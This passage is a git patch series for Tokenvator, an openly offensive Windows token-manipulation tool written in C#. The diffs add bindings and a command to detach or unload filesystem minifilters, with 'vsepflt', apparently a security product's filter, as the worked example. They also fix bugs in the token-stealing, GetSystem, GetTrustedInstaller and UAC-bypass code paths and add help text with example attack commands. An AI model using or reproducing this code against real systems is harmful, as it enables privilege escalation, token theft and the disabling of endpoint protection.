PINSTANCE_AGGREGATE_STANDARD_INFORMATION; + + [StructLayout(LayoutKind.Sequential)] + public struct _INSTANCE_BASIC_INFORMATION + { + public ULONG NextEntryOffset; + public USHORT InstanceNameLength; + public USHORT InstanceNameBufferOffset; + } + //INSTANCE_BASIC_INFORMATION, PINSTANCE_BASIC_INFORMATION; + + [Flags] + public enum _INSTANCE_INFORMATION_CLASS + { + + InstanceBasicInformation, + InstancePartialInformation, + InstanceFullInformation, + InstanceAggregateStandardInformation + + } + //INSTANCE_INFORMATION_CLASS, *PINSTANCE_INFORMATION_CLASS; + + [StructLayout(LayoutKind.Sequential)] + public struct _INSTANCE_FULL_INFORMATION + { + public ULONG NextEntryOffset; + public USHORT InstanceNameLength; + public USHORT InstanceNameBufferOffset; + public USHORT AltitudeLength; + public USHORT AltitudeBufferOffset; + public USHORT VolumeNameLength; + public USHORT VolumeNameBufferOffset; + public USHORT FilterNameLength; + public USHORT FilterNameBufferOffset; + } + //INSTANCE_FULL_INFORMATION, PINSTANCE_FULL_INFORMATION; + + [StructLayout(LayoutKind.Sequential)] + public struct _INSTANCE_PARTIAL_INFORMATION + { + public ULONG NextEntryOffset; + public USHORT InstanceNameLength; + public USHORT InstanceNameBufferOffset; + public USHORT AltitudeLength; + public USHORT AltitudeBufferOffset; + } + //INSTANCE_PARTIAL_INFORMATION, PINSTANCE_PARTIAL_INFORMATION; } } diff --git a/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs b/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs index 4dd15a5..ef266a4 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs @@ -10,6 +10,34 @@ namespace Unmanaged.Libraries { class fltlib { + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterDetach(String lpFilterName, String lpVolumeName, String lpInstanceName); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterInstanceFindClose(IntPtr hFilterInstanceFind); + + [DllImport("FltLib.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern UInt32 FilterInstanceFindFirst( + String lpFilterName, + FltUserStructures._INSTANCE_INFORMATION_CLASS dwInformationClass, + IntPtr lpBuffer, + UInt32 dwBufferSize, + ref UInt32 lpBytesReturned, + ref IntPtr lpFilterInstanceFind + ); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterInstanceFindNext( + IntPtr hFilterInstanceFind, + FltUserStructures._INSTANCE_INFORMATION_CLASS dwInformationClass, + IntPtr lpBuffer, + UInt32 dwBufferSize, + ref UInt32 lpBytesReturned + ); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterFindClose(IntPtr hFilterFind); + [DllImport("FltLib.dll", SetLastError = true)] public static extern UInt32 FilterFindFirst( FltUserStructures._FILTER_INFORMATION_CLASS dwInformationClass, @@ -27,5 +55,8 @@ public static extern UInt32 FilterFindNext( UInt32 dwBufferSize, out UInt32 lpBytesReturned ); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterUnload(String lpFilterName); } } diff --git a/Tokenvator/Tokenvator.csproj b/Tokenvator/Tokenvator.csproj index 2d3d16c..fd095d0 100644 --- a/Tokenvator/Tokenvator.csproj +++ b/Tokenvator/Tokenvator.csproj @@ -78,6 +78,7 @@ + From 0646e8a9fdb4d28fb53fbdd10127916888b44ad1 Mon Sep 17 00:00:00 2001 From: Alexander Date: Mon, 27 Aug 2018 09:59:31 -0700 Subject: [PATCH 12/14] Bugfix + Filters GetSystem + BypassUAC Bugfix GetSystem Command with Args Delete Key Bugfix CreateProcessWithTokenW Bugfix --- Tokenvator/CreateProcess.cs | 14 +++++----- Tokenvator/Filters.cs | 26 ++++++++++++++++--- Tokenvator/Program.cs | 15 +++++++---- Tokenvator/Resources/TabComplete.cs | 3 ++- .../Resources/Unmanaged/Libraries/advapi32.cs | 4 +-- .../Resources/Unmanaged/Libraries/fltlib.cs | 4 +-- Tokenvator/RestrictedToken.cs | 8 +----- Tokenvator/Tokens.cs | 15 ++++++++++- 8 files changed, 62 insertions(+), 27 deletions(-) diff --git a/Tokenvator/CreateProcess.cs b/Tokenvator/CreateProcess.cs index d54d5ab..0a8629f 100644 --- a/Tokenvator/CreateProcess.cs +++ b/Tokenvator/CreateProcess.cs @@ -40,10 +40,10 @@ public static Boolean CreateProcessWithLogonW(IntPtr phNewToken, String name, St if (!advapi32.CreateProcessWithLogonW("i","j","k", Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, name, - arguments, + name, Winbase.CREATION_FLAGS.CREATE_DEFAULT_ERROR_MODE, IntPtr.Zero, - Environment.SystemDirectory, + Environment.CurrentDirectory, ref startupInfo, out processInformation )) @@ -62,7 +62,7 @@ out processInformation //////////////////////////////////////////////////////////////////////////////// public static Boolean CreateProcessWithTokenW(IntPtr phNewToken, String name, String arguments) { - if (name.Contains("\\")) + if (name.Contains(@"\")) { name = System.IO.Path.GetFullPath(name); if (!System.IO.File.Exists(name)) @@ -82,14 +82,16 @@ public static Boolean CreateProcessWithTokenW(IntPtr phNewToken, String name, St } Console.WriteLine("[*] CreateProcessWithTokenW"); - Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); - startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); + Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO + { + cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)) + }; Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); if (!advapi32.CreateProcessWithTokenW( phNewToken, Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, name, - arguments, + name + " " + arguments, Winbase.CREATION_FLAGS.NONE, IntPtr.Zero, Environment.CurrentDirectory, diff --git a/Tokenvator/Filters.cs b/Tokenvator/Filters.cs index 698aa65..6819742 100644 --- a/Tokenvator/Filters.cs +++ b/Tokenvator/Filters.cs @@ -99,14 +99,34 @@ private static void Print(IntPtr baseAddress) while (0 != offset); } - internal static void FilterDetach(String filterName, String volumeName) + internal static void FilterDetach(String input) { - fltlib.FilterDetach(filterName, volumeName, String.Empty); + String filterName = MainLoop.NextItem(ref input); + String volumeName = MainLoop.NextItem(ref input); + String instanceName = input; + if (volumeName == instanceName) + { + instanceName = String.Empty; + } + + UInt32 result = fltlib.FilterDetach(filterName, volumeName, instanceName); + if (0 != result) + { + Console.WriteLine("FilterDetach Failed: 0x{0}", result.ToString("X4")); + } } internal static void Unload(String filterName) { - fltlib.FilterUnload(filterName); + UInt32 result = fltlib.FilterUnload(filterName); + if (0 != result) + { + if (2147943714 == result) + { + Console.WriteLine("Privilege Not Held"); + } + Console.WriteLine("FilterUnload Failed: 0x{0}", result.ToString("X4")); + } } ~Filters() diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index 9da6147..cca7e28 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -260,6 +260,9 @@ internal void Run() filterInstance.Next(); } break; + case "detach_filter": + Filters.FilterDetach(input); + break; case "unload_filter": Filters.Unload(NextItem(ref input)); break; @@ -429,9 +432,11 @@ public static String NextItem(ref String input) public static void GetSystem(String input, IntPtr hToken) { CheckPrivileges.CheckTokenPrivilege(hToken, "SeDebugPrivilege", out Boolean exists, out Boolean enabled); + String item = NextItem(ref input); + if (exists) { - if ("getsystem" == NextItem(ref input)) + if ("getsystem" == item) { using (Tokens t = new Tokens()) @@ -443,19 +448,19 @@ public static void GetSystem(String input, IntPtr hToken) { using (Tokens t = new Tokens()) { - t.GetSystem(input); + t.GetSystem(item + " " + input); } } } else { - if ("getsystem" == NextItem(ref input)) + if ("getsystem" == item) { NamedPipes.GetSystem(); } else { - NamedPipes.GetSystem(input, NextItem(ref input)); + NamedPipes.GetSystem(input, item + " " + input); } } } @@ -498,7 +503,7 @@ public static void BypassUAC(String input) } else { - String name = "";//System.Security.Principal.WindowsIdentity.GetCurrent().Name; + String name = WindowsIdentity.GetCurrent().Name; Dictionary uacUsers = Enumeration.EnumerateUserProcesses(true, name); foreach (UInt32 pid in uacUsers.Keys) { diff --git a/Tokenvator/Resources/TabComplete.cs b/Tokenvator/Resources/TabComplete.cs index 0ee7e78..8d93466 100644 --- a/Tokenvator/Resources/TabComplete.cs +++ b/Tokenvator/Resources/TabComplete.cs @@ -189,7 +189,8 @@ private Boolean KeyInput(StringBuilder stringBuilder, ConsoleKeyInfo keyDown) { try { - stringBuilder.Remove(position - context.Length + 1, 1); + if (position - context.Length + 1 < stringBuilder.Length) + stringBuilder.Remove(position - context.Length + 1, 1); } catch (Exception ex) { diff --git a/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs b/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs index e2c54e6..e6304bb 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs @@ -72,10 +72,10 @@ public static extern Boolean CreateProcessAsUser( ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); - [DllImport("advapi32.dll", SetLastError = true)] + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean CreateProcessAsUserW(IntPtr hToken, IntPtr lpApplicationName, IntPtr lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, Boolean bInheritHandles, Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); - [DllImport("advapi32.dll", SetLastError = true)] + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean CreateProcessWithTokenW( IntPtr hToken, Winbase.LOGON_FLAGS dwLogonFlags, diff --git a/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs b/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs index ef266a4..0ada462 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs @@ -10,7 +10,7 @@ namespace Unmanaged.Libraries { class fltlib { - [DllImport("FltLib.dll", SetLastError = true)] + [DllImport("FltLib.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern UInt32 FilterDetach(String lpFilterName, String lpVolumeName, String lpInstanceName); [DllImport("FltLib.dll", SetLastError = true)] @@ -56,7 +56,7 @@ public static extern UInt32 FilterFindNext( out UInt32 lpBytesReturned ); - [DllImport("FltLib.dll", SetLastError = true)] + [DllImport("FltLib.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern UInt32 FilterUnload(String lpFilterName); } } diff --git a/Tokenvator/RestrictedToken.cs b/Tokenvator/RestrictedToken.cs index e2a8692..b204e63 100644 --- a/Tokenvator/RestrictedToken.cs +++ b/Tokenvator/RestrictedToken.cs @@ -29,13 +29,7 @@ public Boolean BypassUAC(Int32 processId, String command) { if (ImpersonateUser()) { - String arguments = ""; - if (command.Contains(' ')) - { - String[] commandAndArguments = command.Split(new String[] { " " }, StringSplitOptions.RemoveEmptyEntries); - command = commandAndArguments.First(); - arguments = String.Join(" ", commandAndArguments.Skip(1).Take(commandAndArguments.Length - 1).ToArray()); - } + FindExe(ref command, out String arguments); if (CreateProcess.CreateProcessWithLogonW(phNewToken, command, arguments)) { diff --git a/Tokenvator/Tokens.cs b/Tokenvator/Tokens.cs index a75a67c..e618370 100644 --- a/Tokenvator/Tokens.cs +++ b/Tokenvator/Tokens.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.Diagnostics; +using System.Linq; using System.Runtime.InteropServices; using System.Security.Principal; using System.Text; @@ -109,14 +110,26 @@ out phNewToken { createProcess = CreateProcess.CreateProcessWithTokenW; } + FindExe(ref newProcess, out String arguments); - if (!createProcess(phNewToken, newProcess, "")) + if (!createProcess(phNewToken, newProcess, arguments)) { return false; } return true; } + protected void FindExe(ref String command, out String arguments) + { + arguments = ""; + if (command.Contains(" ")) + { + String[] commandAndArguments = command.Split(new String[] { " " }, StringSplitOptions.RemoveEmptyEntries); + command = commandAndArguments.First(); + arguments = String.Join(" ", commandAndArguments.Skip(1).Take(commandAndArguments.Length - 1).ToArray()); + } + } + //////////////////////////////////////////////////////////////////////////////// // Impersonates the token from a specified processId //////////////////////////////////////////////////////////////////////////////// From 8b6c3dbaf5cc3fa9b1bdf8a1ccad06c3b96df070 Mon Sep 17 00:00:00 2001 From: Alexander Date: Mon, 27 Aug 2018 11:18:16 -0700 Subject: [PATCH 13/14] Updated Help Menu with Examples --- Tokenvator/Program.cs | 98 +++++++++++++++++++++++++++++-------------- 1 file changed, 67 insertions(+), 31 deletions(-) diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index cca7e28..1807fc1 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -64,34 +64,41 @@ class MainLoop { private static String context = "(Tokens) > "; public static String[,] options = new String[,] { - {"Info", "-", "-"}, - - {"List_Privileges", "ProcessID", "-"}, - {"Enable_Privilege", "ProcessID", "Privilege"}, - {"Disable_Privilege", "ProcessID", "Privilege"}, - {"Remove_Privilege", "ProcessID", "Privilege"}, - {"Nuke_Privileges", "ProcessID", "-"}, - - {"Terminate", "ProcessID", "-"}, - - {"GetSystem", "Command", "-"}, - {"GetTrustedInstaller", "Command", "-"}, - {"Steal_Token", "Command", "ProcessID"}, - {"Steal_Pipe_Token", "Command", "PipeName"}, - {"BypassUAC", "ProcessID", "Command"}, - - {"Sample_Processes", "-", "-"}, - {"Sample_Processes_WMI", "-", "-"}, - - {"Find_User_Processes", "-", "User"}, - {"Find_User_Processes_WMI", "-", "User"}, - - {"Sessions", "-", "-"}, - {"WhoAmI", "-", "-"}, - {"RevertToSelf", "-", "-"}, - {"Run", "-", "Command"}, - {"RunPowerShell", "-", "Command"}, - {"", "", ""} + {"Info", "-", "-", "-"}, + {"Help", "Command", "-", "Help List_Filter_Instances"}, + + {"List_Privileges", "ProcessID", "-", "List_Privileges 2180"}, + {"Enable_Privilege", "ProcessID", "Privilege", "Enable_Privilege 2180 SeShutdownPrivilege"}, + {"Disable_Privilege", "ProcessID", "Privilege", "Disable_Privilege 2180 SeShutdownPrivilege"}, + {"Remove_Privilege", "ProcessID", "Privilege", "Remove_Privilege 2180 SeShutdownPrivilege"}, + {"Nuke_Privileges", "ProcessID", "-", "Nuke_Privileges 2180"}, + + {"Terminate", "ProcessID", "-", "Terminate 2180"}, + + {"GetSystem", "Command", "-", "GetSystem | GetSystem cmd.exe /c powershell.exe"}, + {"GetTrustedInstaller", "Command", "-", "GetTrustedInstaller | cmd.exe /c powershell.exe"}, + {"Steal_Token", "Command", "ProcessID", "Steal_Token 2180 | Steal_Token 2180 cmd.exe"}, + {"Steal_Pipe_Token", "Command", "PipeName", @"Steal_Pipe_Token \\.\pipe\tokenvator | Steal_Pipe_Token \\.\pipe\tokenvator cmd.exe"}, + {"BypassUAC", "ProcessID", "Command", "BypassUAC cmd.exe| BypassUAC 892 cmd.exe"}, + + {"Sample_Processes", "-", "-", "Sample_Processes"}, + {"Sample_Processes_WMI", "-", "-", "Sample_Processes"}, + + {"Find_User_Processes", "-", "User", "Find_User_Processes Administrator"}, + {"Find_User_Processes_WMI", "-", "User", "Find_User_Processes_WMI Administrator"}, + + {"List_Filters", "-", "-", "List_Filters"}, + {"List_Filter_Instances", "-", "FilterName", "List_Filter_Instances vsepflt"}, + {"Detach_Filter", "InstanceName", "FilterName, VolumeName", @"Detach_Filter vsepflt \Device\Mup vsepflt Instance"}, + {"Unload_Filter", "-", "FilterName", "Unload_Filter vsepflt"}, + + + {"Sessions", "-", "-", "Sessions"}, + {"WhoAmI", "-", "-", "WhoAmI"}, + {"RevertToSelf", "-", "-", "RevertToSelf"}, + {"Run", "-", "Command", "Run ipconfig"}, + {"RunPowerShell", "-", "Command", "RunPowerShell Get-ChildItem"}, + {"", "", "", ""} }; private IntPtr currentProcessToken; @@ -301,9 +308,9 @@ internal void Run() Environment.Exit(0); break; case "help": - if ("privileges" == NextItem(ref input)) - foreach (String item in Tokens.validPrivileges) - Console.WriteLine(item); + String item = NextItem(ref input); + if ("help" != item) + Help(item); else Help(); break; @@ -628,10 +635,39 @@ public static void Help() { Console.WriteLine("{0,-25}{1,-20}{2,-20}", options[i, 0], options[i, 1], options[i, 2]); } + Console.WriteLine("e.g. (Tokens)> Help List_Filter_Instances"); + Console.WriteLine("e.g. (Tokens)> Help Privileges"); + Console.WriteLine(""); Console.WriteLine("e.g. (Tokens)> Steal_Token 27015"); Console.WriteLine("e.g. (Tokens)> Steal_Token 27015 cmd.exe"); Console.WriteLine("e.g. (Tokens)> Enable_Privilege SeDebugPrivilege"); Console.WriteLine("e.g. (Tokens)> Enable_Privilege 27015 SeDebugPrivilege"); } + + public static void Help(String input) + { + if ("privileges" == input.ToLower()) + { + foreach (String item in Tokens.validPrivileges) + { + Console.WriteLine(item); + } + return; + } + + Console.WriteLine("{0,-25}{1,-20}{2,-20}", "Name", "Optional", "Required"); + Console.WriteLine("{0,-25}{1,-20}{2,-20}", "----", "--------", "--------"); + for (Int32 i = 0; i < options.GetLength(0); i++) + { + if (input.ToLower() == options[i, 0].ToLower()) + { + Console.WriteLine("{0,-25}{1,-20}{2,-20}", options[i, 0], options[i, 1], options[i, 2]); + Console.WriteLine(" "); + Console.WriteLine("e.g. (Tokens)> {0}", options[i, 3]); + return; + } + } + + } } } \ No newline at end of file From af1df0f56c63cc7e7b9f336018b483bf6e77656e Mon Sep 17 00:00:00 2001 From: Alexander Date: Thu, 20 Sep 2018 12:28:03 -0700 Subject: [PATCH 14/14] Minor tweaks --- Tokenvator/NamedPipes.cs | 4 ---- Tokenvator/Program.cs | 11 +++-------- Tokenvator/Tokenvator.csproj | 8 +++++++- Tokenvator/app.config | 3 +++ .../Release/Tokenvator.csproj.FileListAbsolute.txt | 2 +- 5 files changed, 14 insertions(+), 14 deletions(-) create mode 100644 Tokenvator/app.config diff --git a/Tokenvator/NamedPipes.cs b/Tokenvator/NamedPipes.cs index b27d4ab..b306a70 100644 --- a/Tokenvator/NamedPipes.cs +++ b/Tokenvator/NamedPipes.cs @@ -95,10 +95,6 @@ public static void GetPipeToken(String pipeName) if (IntPtr.Zero != hToken) { - Tokens.EnumerateTokenPrivileges(hToken); - CheckPrivileges.GetElevationType(hToken, out Winnt._TOKEN_TYPE type); - CheckPrivileges.PrintElevation(hToken); - advapi32.ImpersonateLoggedOnUser(hToken); kernel32.CloseHandle(hToken); diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index 1807fc1..4971cab 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -528,10 +528,7 @@ public static void BypassUAC(String input) //////////////////////////////////////////////////////////////////////////////// public static void StealToken(String input) { - Int32 processID; - String command; - - if (GetProcessID(input, out processID, out command)) + if (GetProcessID(input, out Int32 processID, out String command)) { if (String.IsNullOrEmpty(command)) { @@ -555,11 +552,9 @@ public static void StealToken(String input) //////////////////////////////////////////////////////////////////////////////// public static void StealPipeToken(String input) { - String pipeName; - String command; - if (GetPipeName(input, out pipeName, out command)) + if (GetPipeName(input, out String pipeName, out String command)) { - if (String.IsNullOrEmpty(command)) + if (pipeName.ToLower() == command.ToLower()) { NamedPipes.GetPipeToken(pipeName); } diff --git a/Tokenvator/Tokenvator.csproj b/Tokenvator/Tokenvator.csproj index fd095d0..bbc21e2 100644 --- a/Tokenvator/Tokenvator.csproj +++ b/Tokenvator/Tokenvator.csproj @@ -10,7 +10,7 @@ Properties Tokenvator Tokenvator - v3.5 + v4.5 512 false true @@ -36,6 +36,7 @@ 1.0.0.%2a false true + true @@ -45,6 +46,7 @@ DEBUG;TRACE prompt 4 + false pdbonly @@ -53,6 +55,7 @@ TRACE prompt 4 + false @@ -155,6 +158,9 @@ + + +